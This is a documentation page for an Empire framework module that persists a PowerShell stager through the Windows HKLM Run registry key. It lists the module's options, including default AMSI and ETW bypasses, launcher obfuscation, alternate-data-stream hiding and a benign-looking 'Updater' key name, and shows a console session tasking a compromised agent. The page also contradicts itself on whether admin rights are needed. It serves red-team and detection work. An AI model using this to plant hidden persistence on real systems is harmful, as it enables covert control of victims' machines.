Invoke-Registry - Empire Module
This page contains detailed information about how to use the powershell/persistence/elevated/registry Empire module. For list of all Empire modules, visit the Empire Module Library.
Module Overview
Name: Invoke-Registry
Module: powershell/persistence/elevated/registry
Source code [1]: empire/server/modules/powershell/persistence/elevated/registry.yaml
Source code [2]: empire/server/modules/powershell/persistence/elevated/registry.py
MITRE ATT&CK:
T1060
Language: PowerShell
Needs admin: Yes
OPSEC safe: No
Background: No
The registry module persists a stager (or script) via the HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. This has an easy detection/removal rating.
This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.
Note that the registry module does not need administrative privileges to work properly which means that a normal user can run this module.
Required Module Options
This is a list of options that are required by the registry module:
Agent
Agent to run module on.
KeyName
Key name for the run trigger.
Default value: Updater.
Additional Module Options
This is a list of additional options that are supported by the registry module:
ADSPath
Alternate-data-stream location to store the script code.
Bypasses
Bypasses as a space separated list to be prepended to the launcher.
Default value: mattifestation etw.
Cleanup
Switch. Cleanup the trigger and any script from specified location.
ExtFile
Use an external file for the payload instead of a stager.
Listener
Listener to use.
Obfuscate
Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand for obfuscation types. For powershell only.
Default value: False.
ObfuscateCommand
The Invoke-Obfuscation command to use. Only used if Obfuscate switch is True. For powershell only.
Default value: Token\All\1.
Proxy
Proxy to use for request (default, none, or other).
Default value: default.
ProxyCreds
Proxy credentials ([domain\]username:password) to use for request (default, none, or other).
Default value: default.
RegPath
Registry location to store the script code. Last element is the key name.
Default value: HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Debug.
UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.
Registry Example Usage
Here's an example of how to use the registry module in the Empire client console:
[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/elevated/registry
Author @mattifestation
@harmj0y
Background False
Comments https://github.com/mattifestation/PowerSploit/blob/master/Persistence/
Persistence.psm1
Description Persist a stager (or script) via the
HKLM:SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. This
has an easy detection/removal rating.
Language powershell
Name powershell/persistence/elevated/registry
NeedsAdmin True
OpsecSafe False
Techniques http://attack.mitre.org/techniques/T1060
,Record Options----,-------------------------------------,----------,-------------------------------------,
| Name | Value | Required | Description |
|------------------|-------------------------------------|----------|-------------------------------------|
| ADSPath | | False | Alternate-data-stream location to |
| | | | store the script code. |
|------------------|-------------------------------------|----------|-------------------------------------|
| Agent | | True | Agent to run module on. |
|------------------|-------------------------------------|----------|-------------------------------------|
| Bypasses | mattifestation etw | False | Bypasses as a space separated list |
| | | | to be prepended to the launcher. |
|------------------|-------------------------------------|----------|-------------------------------------|
| Cleanup | | False | Switch. Cleanup the trigger and any |
| | | | script from specified location. |
|------------------|-------------------------------------|----------|-------------------------------------|
| ExtFile | | False | Use an external file for the |
| | | | payload instead of a stager. |
|------------------|-------------------------------------|----------|-------------------------------------|
| KeyName | Updater | True | Key name for the run trigger. |
|------------------|-------------------------------------|----------|-------------------------------------|
| Listener | | False | Listener to use. |
|------------------|-------------------------------------|----------|-------------------------------------|
| Obfuscate | False | False | Switch. Obfuscate the launcher |
| | | | powershell code, uses the |
| | | | ObfuscateCommand for obfuscation |
| | | | types. For powershell only. |
|------------------|-------------------------------------|----------|-------------------------------------|
| ObfuscateCommand | Token\All\1 | False | The Invoke-Obfuscation command to |
| | | | use. Only used if Obfuscate switch |
| | | | is True. For powershell only. |
|------------------|-------------------------------------|----------|-------------------------------------|
| Proxy | default | False | Proxy to use for request (default, |
| | | | none, or other). |
|------------------|-------------------------------------|----------|-------------------------------------|
| ProxyCreds | default | False | Proxy credentials |
| | | | ([domain\]username:password) to use |
| | | | for request (default, none, or |
| | | | other). |
|------------------|-------------------------------------|----------|-------------------------------------|
| RegPath | HKLM:SOFTWARE\Microsoft\Windows\Cur | False | Registry location to store the |
| | rentVersion\Debug | | script code. Last element is the |
| | | | key name. |
|------------------|-------------------------------------|----------|-------------------------------------|
| UserAgent | default | False | User-agent string to use for the |
| | | | staging request (default, none, or |
| | | | other). |
'------------------'-------------------------------------'----------'-------------------------------------'
(Empire: usemodule/powershell/persistence/elevated/registry) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/elevated/registry) > set KeyName Updater
[*] Set KeyName to Updater
(Empire: usemodule/powershell/persistence/elevated/registry) > execute
[*] Tasked Y4LHEV83 to run Task 1
...
Now wait for the results to come.
Authors
References
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/elevated/registry.yaml
- https://github.com/BC-SECURITY/Empire/tree/master/empire/server/modules/powershell/persistence/elevated/registry.py
- https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1
- http://attack.mitre.org/techniques/T1060
See Also
Check also the following modules related to this module:
- powershell/persistence/elevated/wmi_updater
- powershell/persistence/elevated/schtasks
- powershell/persistence/elevated/wmi
- powershell/persistence/elevated/rid_hijack
- powershell/persistence/userland/registry
Version
This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.
